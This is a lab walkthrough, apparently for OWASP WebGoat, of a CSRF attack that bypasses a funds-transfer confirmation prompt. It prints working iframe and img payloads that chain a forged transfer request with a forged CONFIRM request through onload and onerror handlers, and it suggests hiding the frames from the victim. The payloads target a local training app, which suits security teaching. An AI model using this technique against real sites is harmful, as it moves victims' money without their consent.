# CSRF Prompt Bypass

* This CSRF attack will bypass user confirmation prompts
* CSRF is an attack that tricks the victim into loading a page that contains a "forged request" to execute commands with the victim's credentials
* Prompting a user to confirm or cancel the command might sound like a solution, but can be bypassed if the prompt is scriptable
* * This can also apply to a series of prompts such as a wizard or issuing multiple unrelated forged requests

&#x20;&#x20;

**Solution**

Inspect the page beforehand

<http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=4000>

<figure><img src="https://3722880708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8Jk7bAtIA6fLVYBLmpdJ%2Fuploads%2FCWbqUah6tSP7YzUAeIGZ%2FUntitled%20picture.png?alt=media&#x26;token=04d85984-faea-4abe-bd75-a85439b0c628" alt=""><figcaption></figcaption></figure>

* We see from the source code that the next forged command will need the following URL: attack?Screen=1471017872\&menu=900

&#x20;

* From this we see the next forged command will need the following URL: attack?Screen=1471017872\&menu=900\&transferFunds=CONFIRM
* We can load this malicious request into either an image or an iframe

&#x20;

* The next step is to add the additional forged confirmation request
* * However, an additional iframe or image with this URL will not be sufficient
  * The second request must load AFTER the first
* So, add JavaScript to load the 2nd command after the first
* * For iframes, make the onload attribute of the 1st frame set the src of the 2nd iframe

&#x20;

\<iframe

src="<http://localhost:8080/WebGoat/attack?Screen=1471017872\\&menu=900\\&transferFunds=5000>"

id="myFrame" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"

onload="document.getElementById('frame2').src='[http://localhost:8080/WebGoat/attack?Screen=1471017872\\\&menu=900\\\&transferFunds=CONFIRM';">](http://localhost:8080/WebGoat/attack?Screen=1471017872\\\&menu=900\\\&transferFunds=CONFIRM';">)

\</iframe>

\<iframe

id="frame2" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300">

\</iframe>

&#x20;

* In a real attack the results would try to hide the results from the end user
* * | E.g. Using | a small or invisible iframe |
    | ---------- | --------------------------- |
* If using image tags, loading an html page as an image will cause an error
* * Use the onerror attribute in place of onload

\<img

src="<http://localhost:8080/WebGoat/attack?Screen=XXX\\&menu=YYY\\&transferFunds=5000>"

onerror="document.getElementById('image2').src='[http://localhost:8080/WebGoat/attack?Screen=XXX\\\&menu=YYY\\\&transferFunds=CONFIRM'">](http://localhost:8080/WebGoat/attack?Screen=XXX\\\&menu=YYY\\\&transferFunds=CONFIRM'">)

\<img id="image2" >
